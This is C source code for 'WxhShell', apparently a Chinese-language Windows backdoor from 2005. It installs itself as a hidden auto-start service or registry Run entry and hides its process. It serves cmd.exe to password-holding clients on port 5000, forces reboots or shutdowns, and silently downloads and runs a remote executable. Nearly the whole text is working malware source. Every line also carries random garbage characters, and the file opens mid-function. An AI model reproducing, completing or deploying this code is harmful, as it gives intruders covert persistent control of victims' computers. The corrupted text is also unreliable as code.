    if(Boot(SHUTDOWN)) }0$mn)*k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vT?Q^PTO  
    else { . 3Gn ZR,L  
    closesocket(wsh); }c} ( 5  
    ExitThread(0); Yx6hA#7I  
    } RXBb:f  
    break; pJd0k"{  
    } 3@&bxYXm  
  // 获取shell o>2e !7  
  case 's': { c\M#5+1j  
    CmdShell(wsh); 6^Ph '  
    closesocket(wsh); 'g]hmE  
    ExitThread(0); IQT cYl  
    break; 3=Z<wD s  
  } {] O`g G  
  // 退出 2-~a P  
  case 'x': { wDDxj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \3r3{X _<`  
    CloseIt(wsh); IeVLn^?+:  
    break; JL.5QzA  
    } x"vwWJNQ  
  // 离开 z+jh ;!i  
  case 'q': { tG/1pW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mec{_jiH&D  
    closesocket(wsh); 8 4z6zFv?Q  
    WSACleanup(); 2 #KoN8%  
    exit(1); -&imjy<  
    break; F<5nGx cC  
        } {1~9vHAZ  
  } 9SY(EL  
  }  JX{KYU  
.8]Y-  
  // 提示信息 i|%5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kh)F yV  
} BBvZeG $Y  
  } 6)ycmu;!$  
N0Gf0i>  
  return; Uan,H1a   
} M`~!u/D7  
sMH#BCC  
// shell模块句柄 :lK4 db  
int CmdShell(SOCKET sock) p'&*r2_ram  
{ ob'n{T+lZ  
STARTUPINFO si; *xcP`  
ZeroMemory(&si,sizeof(si)); ;W0]66&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \OcMiuw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H>?F8R_iq  
PROCESS_INFORMATION ProcessInfo; _S"f_W  
char cmdline[]="cmd"; 71O3O7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E:FO_R(Xq  
  return 0; /&h+t^l_Qj  
} "x&3Z@q7  
?vu_k 'io  
// 自身启动模式 %,|ztH/ Q  
int StartFromService(void) Noh?^@T`Ov  
{ IZ8y}2  
typedef struct OC_M4{9/  
{ t}Ss=0dJO  
  DWORD ExitStatus; :mpiAs<%U"  
  DWORD PebBaseAddress; =OYQM<q  
  DWORD AffinityMask; W/r^ugDV  
  DWORD BasePriority; I]X  
  ULONG UniqueProcessId; &!jq!u$(  
  ULONG InheritedFromUniqueProcessId; c&f y{}10  
}   PROCESS_BASIC_INFORMATION; 'S?;J ,/  
bD<qNqX$  
PROCNTQSIP NtQueryInformationProcess; }E;F)=E  
S5_t1wqBJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $}R$t-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YsP/p-  
!8*McO I  
  HANDLE             hProcess; 'L{p,  
  PROCESS_BASIC_INFORMATION pbi; gDCOLDM  
"}b'E#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qX$u4I!,  
  if(NULL == hInst ) return 0; 5h8o4  
=XT)J6z^"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TY.FpW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,=o0BD2q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e7xj_QH  
bU`=*  
  if (!NtQueryInformationProcess) return 0; v7IzDz6gF  
)`8pd 7<.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F>+2DlA`<e  
  if(!hProcess) return 0; 6GYtY>  
([ dT!B#aH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EfiU$ 8y  
iePf ]O*  
  CloseHandle(hProcess); `HW:^T  
Ftv8@l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (ZP87Gz  
if(hProcess==NULL) return 0; ->E=&X  
>qR~'$,$  
HMODULE hMod; 9s`/~ a@  
char procName[255]; Bux'hc  
unsigned long cbNeeded; ? _ <[T  
u1cu]Sj0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '<@=vGsye  
d TGA5c  
  CloseHandle(hProcess); 7zDiHac  
= .oHnMX2M  
if(strstr(procName,"services")) return 1; // 以服务启动 *Oo &}oAj  
}nud  
  return 0; // 注册表启动 NQ9Ojj{#  
} w#(RW7":F  
RY=1H  
// 主模块 b2 kWjg.4  
int StartWxhshell(LPSTR lpCmdLine) 0oU=RbC  
{ l#bAl/c`  
  SOCKET wsl; 5PZN^\^  
BOOL val=TRUE; 6^#uLp>  
  int port=0; s_eOcm  
  struct sockaddr_in door; [pgZbOIN37  
KJh,,xI>by  
  if(wscfg.ws_autoins) Install(); 4h|dHXYZ  
_+w/ pS`M  
port=atoi(lpCmdLine); %f&< wC  
.Q&rfH3  
if(port<=0) port=wscfg.ws_port; I,O#X)O|i  
/#S>sOg2xq  
  WSADATA data; PlCc8Zy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~`eHHgX  
sR=/%pVN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    k0H#:c}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z.)p P'CJo  
  door.sin_family = AF_INET; t FgX\4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n56;m`IU  
  door.sin_port = htons(port); I*\^,ow  
ml u 3K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D59T?B|BdD  
closesocket(wsl); PRs@zkO  
return 1; 2 x 4=  
} .px:e)iW  
onte&Ed\  
  if(listen(wsl,2) == INVALID_SOCKET) { )`HA::  
closesocket(wsl); Vhg1/EgUr  
return 1; $Ui&D I  
} .ve *Vp  
  Wxhshell(wsl); jo98 jA<  
  WSACleanup(); \u{8Bak0  
qpqokK  
return 0; \#dl6:"  
Q M 1F?F  
} F#V q#|_)>  
{G*QY%j^  
// 以NT服务方式启动 GsV4ZZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u oVNK  
{ 6Nh0  
DWORD   status = 0; d^V$Z6* ]  
  DWORD   specificError = 0xfffffff;  Mm= Mz  
{3edTu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .~klG&>aV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sR_xe}-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?Zcj}e.r  
  serviceStatus.dwWin32ExitCode     = 0; \pY^^ l*  
  serviceStatus.dwServiceSpecificExitCode = 0; -50AX1h31:  
  serviceStatus.dwCheckPoint       = 0; ;Zut@z4\  
  serviceStatus.dwWaitHint       = 0; JlZ0n;  
jO'|mGUM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kA#vByf`v  
  if (hServiceStatusHandle==0) return; 6*XM7'n  
svhrf;3:  
status = GetLastError(); rPiNv 30L  
  if (status!=NO_ERROR) &M"ouy Zo9  
{ wH6u5*$p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]=&L_(34  
    serviceStatus.dwCheckPoint       = 0; z,f=}t[.Y  
    serviceStatus.dwWaitHint       = 0; F $yO  
    serviceStatus.dwWin32ExitCode     = status; =mt?C n}  
    serviceStatus.dwServiceSpecificExitCode = specificError; CjL<RJR=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BzbDZV  
    return; ,M6ZZ* ,e  
  } KCR N}`^  
<$E6oZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; faJM^u  
  serviceStatus.dwCheckPoint       = 0; kE)!<1yy2  
  serviceStatus.dwWaitHint       = 0; 8{I"q[GZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FY#!N L  
} =@r--E  
qfL-r,XS`F  
// 处理NT服务事件,比如:启动、停止 d*]Ew=^L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B BL485`  
{ pGWA\}'  
switch(fdwControl) N{joXHCu  
{ .;I29yk\XS  
case SERVICE_CONTROL_STOP: KL3<Iz]  
  serviceStatus.dwWin32ExitCode = 0; ]]uHM}l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l";'6;g  
  serviceStatus.dwCheckPoint   = 0; L-h$Z0]_F  
  serviceStatus.dwWaitHint     = 0; oXYMoi  
  { x:z0EYL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WjMRH+  
  } t#b0H)  
  return; .p@N:)W6  
case SERVICE_CONTROL_PAUSE: UTk r.T+2X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *^XbDg9  
  break; (GU9p>2  
case SERVICE_CONTROL_CONTINUE: pR$6,Vi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }E&NPp>  
  break; F9Z @x)  
case SERVICE_CONTROL_INTERROGATE: }GZbo kWg.  
  break; xHkxc}h  
}; :pC;`iQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Cg{_z.~c  
} lF4u{B9DM  
$aP(|!g  
// 标准应用程序主函数 .YcN S%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vzR=>0#  
{ PEXq:TA  
+V8b  
// 获取操作系统版本 {]/8skov5]  
OsIsNt=GetOsVer(); f} K`Jm_}?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l I-p_K  
=xl~][  
  // 从命令行安装 =nxKttmU0  
  if(strpbrk(lpCmdLine,"iI")) Install(); tJD] (F  
*i%quMv  
  // 下载执行文件 ]n v( aM?d  
if(wscfg.ws_downexe) { tS?lB05TOR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !-tz4vjw  
  WinExec(wscfg.ws_filenam,SW_HIDE); T0e<Slo~C  
} ST',4 Oph5  
$& {IKP)u  
if(!OsIsNt) { *y7 $xa4  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y94MI1O5$  
HideProc(); H%i>L?J2/  
StartWxhshell(lpCmdLine); x0+glQrNN  
} LI W*4r!  
else iS: #o>  
  if(StartFromService()) P%>?[9!Nt  
  // 以服务方式启动 "QY1.:o<(  
  StartServiceCtrlDispatcher(DispatchTable); 9]yW_]P  
else CjZ2z%||=  
  // 普通方式启动 E`D%PEps+  
  StartWxhshell(lpCmdLine); b`~wG e  
+!O- kd  
return 0; H~fdbR  
}  .5Z_E O  
(xT*LF+  
VXKT\9g3A  
Re[ :qLa]  
=========================================== ujzW|HW^v  
&O1v,$}'  
AtHS@p  
T@ 48qg  
q)I|2~Q c^  
i/qTFQst _  
" JOfV]eCL  
k W-81  
#include <stdio.h> L* |1/  
#include <string.h> $@uU@fLB  
#include <windows.h> kBsXfVs9  
#include <winsock2.h> nX5C< Ky  
#include <winsvc.h> v5$s#f<   
#include <urlmon.h> w6zB Vi  
?U9/fl  
#pragma comment (lib, "Ws2_32.lib") lOerrP6f(  
#pragma comment (lib, "urlmon.lib") bhg}-dto  
2{o10 eL  
#define MAX_USER   100 // 最大客户端连接数 Es8#]'Rk  
#define BUF_SOCK   200 // sock buffer ok0X<MR!I  
#define KEY_BUFF   255 // 输入 buffer |f' 8p8J  
%a 8&W  
#define REBOOT     0   // 重启 #Z9L_gDp  
#define SHUTDOWN   1   // 关机 Ap<J'?~y  
HeIS;gfUY  
#define DEF_PORT   5000 // 监听端口 []}N  
A,XfD}+:Z  
#define REG_LEN     16   // 注册表键长度 Ja [4A0.  
#define SVC_LEN     80   // NT服务名长度 ?2`$3[ET-  
aiux^V  
// 从dll定义API [.cq{6-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O%JSViPw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t4K56H.L?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C0m\SNR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bkv/I{C>?  
\ TL82H@D  
// wxhshell配置信息 k0ItG?Cv  
struct WSCFG { 1f//wk|  
  int ws_port;         // 监听端口 8wFn}lw&  
  char ws_passstr[REG_LEN]; // 口令 P6Xp<^%E  
  int ws_autoins;       // 安装标记, 1=yes 0=no w|Qd`  
  char ws_regname[REG_LEN]; // 注册表键名 +/cgw,  
  char ws_svcname[REG_LEN]; // 服务名 Gp|JU Fo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q=0 pQ1>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =/Juh7[C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uqZ3Hyb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^gg!Me  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E(Gr0#8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eyB_l.U7  
9g@NcJ]  
}; -Ktwo_ V*  
0m=(W^c  
// default Wxhshell configuration dY'Y5Th~  
struct WSCFG wscfg={DEF_PORT, JvJ;bFXD  
    "xuhuanlingzhe", qgexb\x\4  
    1, e\N0@   
    "Wxhshell", w}k B6o]  
    "Wxhshell", ]|LgVXEpx  
            "WxhShell Service", GX38~pq  
    "Wrsky Windows CmdShell Service", 08r[K(bfb,  
    "Please Input Your Password: ", uPDaq ]A  
  1, VS`Z_Xn  
  "http://www.wrsky.com/wxhshell.exe", gCV rC  
  "Wxhshell.exe" 0wvU?z%WK  
    }; [W(Y3yyY  
K&S@F!#g  
// 消息定义模块 S0xIvzS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'Y)/~\FI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T`Hw49  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8+(c1  
char *msg_ws_ext="\n\rExit."; - L`7+  
char *msg_ws_end="\n\rQuit."; k3yxx]Rk/  
char *msg_ws_boot="\n\rReboot..."; 4ftj>O  
char *msg_ws_poff="\n\rShutdown..."; Q8Te'1Ln!  
char *msg_ws_down="\n\rSave to "; l1RlYl5  
`|,tCM&-  
char *msg_ws_err="\n\rErr!"; r@|ZlM@O  
char *msg_ws_ok="\n\rOK!"; l<N?'&  
 -$R5  
char ExeFile[MAX_PATH]; m+T2vi  
int nUser = 0; 4  
HANDLE handles[MAX_USER]; z7q%,yw3N  
int OsIsNt; (xUFl@I!  
SALCuo"L  
SERVICE_STATUS       serviceStatus; { _X#fq0}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C yf]`*  
3@HIpQM3  
// 函数声明 Pz {Ig  
int Install(void); e7|d=W  
int Uninstall(void); ca}S{"  
int DownloadFile(char *sURL, SOCKET wsh); Y_lCcu#OA  
int Boot(int flag); M6x;BjrV  
void HideProc(void); 8;.` {'r  
int GetOsVer(void); G>j "cj  
int Wxhshell(SOCKET wsl); z1qUz7  
void TalkWithClient(void *cs); _w%s(dzk  
int CmdShell(SOCKET sock); vGyppm[0  
int StartFromService(void); VY{,x;O`  
int StartWxhshell(LPSTR lpCmdLine); ULrbQ}"cva  
+ 1f{_v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :|fl?{E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KM@`YV_"g  
gQCC>8  
// 数据结构和表定义 v/(__xN`B  
SERVICE_TABLE_ENTRY DispatchTable[] = jL2MW(d^Q  
{ dcR6KG8  
{wscfg.ws_svcname, NTServiceMain}, J ZNyC!u  
{NULL, NULL} ?e2Y`0  
}; t5A[o7BS  
o"f%\N0_8  
// 自我安装 C7T;;1P?  
int Install(void) $1=v.'Y  
{ yOM -;h  
  char svExeFile[MAX_PATH]; h!~|6nj  
  HKEY key; p+5#dbyr  
  strcpy(svExeFile,ExeFile); %rX\ P  
[L)V(o)v  
// 如果是win9x系统,修改注册表设为自启动 Z%A<#%    
if(!OsIsNt) { ":z@c,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xe> ~H4I9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a1 _o.A  
  RegCloseKey(key); AF QnCl Of  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q!Msy<v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >sB=\  
  RegCloseKey(key); LsUFz_  
  return 0; [)bz6\d[  
    } oRV] p  
  } l.yJA>\24I  
} #C'o'%!(  
else { Q0_M-^~WT  
 !zF4 G,W  
// 如果是NT以上系统,安装为系统服务 UU-v;_oP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }v,W-gA  
if (schSCManager!=0) yqC+P  
{ ~F=#}6kg_  
  SC_HANDLE schService = CreateService 8UlB~fVg  
  ( .Wd.) ^?  
  schSCManager, E)RI!0Ra  
  wscfg.ws_svcname, :v''"+\  
  wscfg.ws_svcdisp, ,!8*g[^O  
  SERVICE_ALL_ACCESS, (#CB q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EPR(i#xU  
  SERVICE_AUTO_START, Qdh"X^^  
  SERVICE_ERROR_NORMAL, GF9ZL  
  svExeFile, 0  %C!`7  
  NULL, |ORmS& 7  
  NULL, k_-vT  
  NULL, 'aLPTVM^  
  NULL, 01UqDdoj  
  NULL {8ld:ZP  
  ); 1Qrm"TFo  
  if (schService!=0) +D6-m  
  { zvWO4\  
  CloseServiceHandle(schService); zS,%msT^A  
  CloseServiceHandle(schSCManager); Y!Usce  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^?81.b|qb  
  strcat(svExeFile,wscfg.ws_svcname); \E>%W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !tm|A`<g#<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =kyJaT^5[  
  RegCloseKey(key); qT&S  
  return 0; kJVM3F%  
    } zlC^  
  } pqRO[XEp2  
  CloseServiceHandle(schSCManager); v GulM<YY  
} IiYuUN1D  
} j&o/X7I=  
=<Zwv\U  
return 1; (e>RNn\  
} }A)^XZ/  
1e+h9|hGYw  
// 自我卸载 0Ax>gj-`  
int Uninstall(void) Hz8Jgp  
{ ,APGPE}I[  
  HKEY key; 9F-ViDI.  
Qu,)wfp~  
if(!OsIsNt) { hqwz~Ky}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3ZT/>a>@  
  RegDeleteValue(key,wscfg.ws_regname); 0e[ tKn(  
  RegCloseKey(key); L|dab {9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c"oQ/x  
  RegDeleteValue(key,wscfg.ws_regname); ]l9,t5Y  
  RegCloseKey(key); s\F EA"w/  
  return 0; z+5u/t  
  } qP%Smfp6  
} 4n `[SN  
} vV\/pu8  
else { NzwGc+\7}  
W0p#Y h:{_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s /k  
if (schSCManager!=0) ?eY chVq  
{ #! K~_DL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jn5=N[hd  
  if (schService!=0) uL qpbn  
  { 2J>A;x_?  
  if(DeleteService(schService)!=0) { >=]NO'?O  
  CloseServiceHandle(schService); Hzk1LKsT#  
  CloseServiceHandle(schSCManager); Wb*T   
  return 0; r!-L`GUm  
  } Ugee?;]lu  
  CloseServiceHandle(schService); 7.F& {:@_  
  } W! 5Blo  
  CloseServiceHandle(schSCManager); )%nt61P\W  
} 1.u gXD  
} FW6E)df  
c@"i?  
return 1; X(0:zb,#G*  
} h}c6+@w&-  
@$N*lrM2  
// 从指定url下载文件 o i,g  
int DownloadFile(char *sURL, SOCKET wsh) & Q|f*T  
{ 4)c"@Zf  
  HRESULT hr; 0t/z "  
char seps[]= "/"; #o}{cXX#  
char *token; XO8 H]  
char *file; l[x`*+ON:2  
char myURL[MAX_PATH]; 1^Y:XJ73  
char myFILE[MAX_PATH]; ,vHX>)M|  
%\s#e  
strcpy(myURL,sURL); tjc5>T[Es8  
  token=strtok(myURL,seps); 0B!mEg  
  while(token!=NULL) d}^ :E  
  { e[|p0 ,Q  
    file=token; s$3eJ|  
  token=strtok(NULL,seps); F#3$p$;B$  
  } r4z}yt+  
AS/\IHZ\  
GetCurrentDirectory(MAX_PATH,myFILE); XV0<pV>  
strcat(myFILE, "\\"); &*?!*+!,i  
strcat(myFILE, file); ` wsMybe#  
  send(wsh,myFILE,strlen(myFILE),0); tpy :o(H  
send(wsh,"...",3,0); ES2d9/]p-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [{d[f|   
  if(hr==S_OK) - KoA[UJ  
return 0; o<eWg  
else p-i]l.mT5  
return 1; *T}dv)8  
6nhfI\q3wY  
} V~%WKQ  
Q& unA3  
// 系统电源模块 bvxxE/?Ni  
int Boot(int flag) _sD]Viqc  
{ mc[_> [m  
  HANDLE hToken; Y-q,Ovf!  
  TOKEN_PRIVILEGES tkp; !WVabdt  
jP{]LJ2.6\  
  if(OsIsNt) { D9pxe qf+=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DIcyXZH<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *U[Q=w  
    tkp.PrivilegeCount = 1; p|O-I&Xd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !h~#L"z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VIlQzM;%^  
if(flag==REBOOT) { )jQe K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4s+J-l  
  return 0; / hj9Q!  
}  TVEF+t  
else { 2>_LX!kyP]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ee?K|_\${  
  return 0; OM&\Mo  
} MRY)m@*+6  
  } qI/r_  
  else { :."n@sA@  
if(flag==REBOOT) { l Ib>t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^`PSlT3<F  
  return 0; ]oZ,{Q5~  
} CSg5i&A=  
else { m{=~| I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) onypwfIk)t  
  return 0; "8Wc\YDh  
} RSVN(-wIi)  
} 1)kl  
{bsr 9.k(  
return 1; H_nOE(i<z  
} sp]y!zb"5  
%X-&yGY  
// win9x进程隐藏模块 UOL%tT  
void HideProc(void) yl;$#aZB  
{ mjr{L{H=?+  
Vm%ux>}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kjYO0!C  
  if ( hKernel != NULL ) 6W#F Ss~  
  { tFP;CW!E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |$*9j""u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /JY ph^3][  
    FreeLibrary(hKernel); ^eT>R,aB  
  } ,Z\,IRn  
4lo}-@j  
return; >j~70 ?  
} ,IX4Zo"a  
sT T455h)  
// 获取操作系统版本 {xb%P!o`  
int GetOsVer(void) LYo7?rp  
{ oDiv9 jm  
  OSVERSIONINFO winfo; lNp:2P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kQiW5  
  GetVersionEx(&winfo); V?=zuB?'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dCJR,},\f  
  return 1; >71w #K  
  else ve/6-J!5Y.  
  return 0; aRb:.\ \zc  
} vWfef~}~  
=+#RyV  
// 客户端句柄模块 +OuG!3+w  
int Wxhshell(SOCKET wsl) \YF!< 2|[  
{ :usBeho  
  SOCKET wsh; IXk'?9  
  struct sockaddr_in client; */h 9"B  
  DWORD myID; N#-\JlJ)  
9'L0Al~L  
  while(nUser<MAX_USER) Q X5#$-H@  
{ thboHPml{  
  int nSize=sizeof(client); nf@u7*# 6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M/`z;a=EP  
  if(wsh==INVALID_SOCKET) return 1; `U>b6 {K  
,OFr]74\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MvwJ(3  
if(handles[nUser]==0) K OHH74}_  
  closesocket(wsh); s 17gi,"X  
else 1+ARV&bc  
  nUser++; Dve5m=  
  } I6 Q_A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @z?.P;f9#  
@x>2|`65Y  
  return 0; c15^<6]g  
} ialk6i![  
${:$jX[  
// 关闭 socket 9 7qS.Z27  
void CloseIt(SOCKET wsh) SPm5tU  
{ s~ZC!-[;  
closesocket(wsh); aV%rq9Tp  
nUser--; ?4||L8j2^  
ExitThread(0); <(lSNGv5N  
} bM_(`]&*  
`CUO!'U  
// 客户端请求句柄 w)>z3L m  
void TalkWithClient(void *cs) >~8Df61o`  
{ b4OR`dd*J  
31\^9w__8  
  SOCKET wsh=(SOCKET)cs; cr;`0  
  char pwd[SVC_LEN]; :iC\#i]6  
  char cmd[KEY_BUFF]; i*E`<9  
char chr[1]; ee?ZkU#@  
int i,j; P9chRy  
r:Tb{cA  
  while (nUser < MAX_USER) { oD2;Tdk  
V zx(J)  
if(wscfg.ws_passstr) { bo/!u s#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W{/z-&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FPFYH?;$  
  //ZeroMemory(pwd,KEY_BUFF); C)kQi2T  
      i=0;  F}4 0  
  while(i<SVC_LEN) { q%&7J<   
c324@o^V  
  // 设置超时 >mltE$|  
  fd_set FdRead; #IwB  
  struct timeval TimeOut; /Day5\Q#  
  FD_ZERO(&FdRead); {j@)sDM X  
  FD_SET(wsh,&FdRead); (6^k;j  
  TimeOut.tv_sec=8; ZKL%rp_  
  TimeOut.tv_usec=0; NUtyUv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E cz"O   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \+A<s,x  
JNl+UH:.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1/BMs0 =  
  pwd=chr[0]; nU *fne?  
  if(chr[0]==0xd || chr[0]==0xa) { UL"3skV   
  pwd=0; ]997`,1b  
  break; K9Fnb6J$u  
  } m?`Rl6!@8\  
  i++; ea+rjvm  
    } *G=AhH$t  
c'qM$KN9G  
  // 如果是非法用户,关闭 socket mf'1.{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B.WkHY%/  
} j( :A  
z Pc;[uHT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .AW*7Pp`f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $8}'6,  
MF(~!SOIG  
while(1) { /)|y+<E]}  
,]"u!,yHb  
  ZeroMemory(cmd,KEY_BUFF); 8;NO>L/J]i  
,~iAoxD5jY  
      // 自动支持客户端 telnet标准   0G 1o3[F  
  j=0; ~` hcgCi%  
  while(j<KEY_BUFF) { K),wAZI!7j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 21j+c{O  
  cmd[j]=chr[0]; ;~;St>?\R\  
  if(chr[0]==0xa || chr[0]==0xd) { g7F Z -  
  cmd[j]=0; dfcG'+RU}  
  break; xU"qB24]=  
  } DV" ri  
  j++; yBiwYk6  
    } k~dr;j  
4Pdk?vHK;  
  // 下载文件 (Mh\!rMg  
  if(strstr(cmd,"http://")) { S7Fxb+{6D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &3J#"9 _S  
  if(DownloadFile(cmd,wsh)) /GaR&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~MO C r  
  else k 'b|#c9c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <`qo*__1  
  } 'wt|buu-H  
  else { uy{KV"%"^g  
1hG O*cq!  
    switch(cmd[0]) { BI]t}7  
  G#v7-&Yl6  
  // 帮助 d`/{0:F  
  case '?': { 9@B+$~:}7  
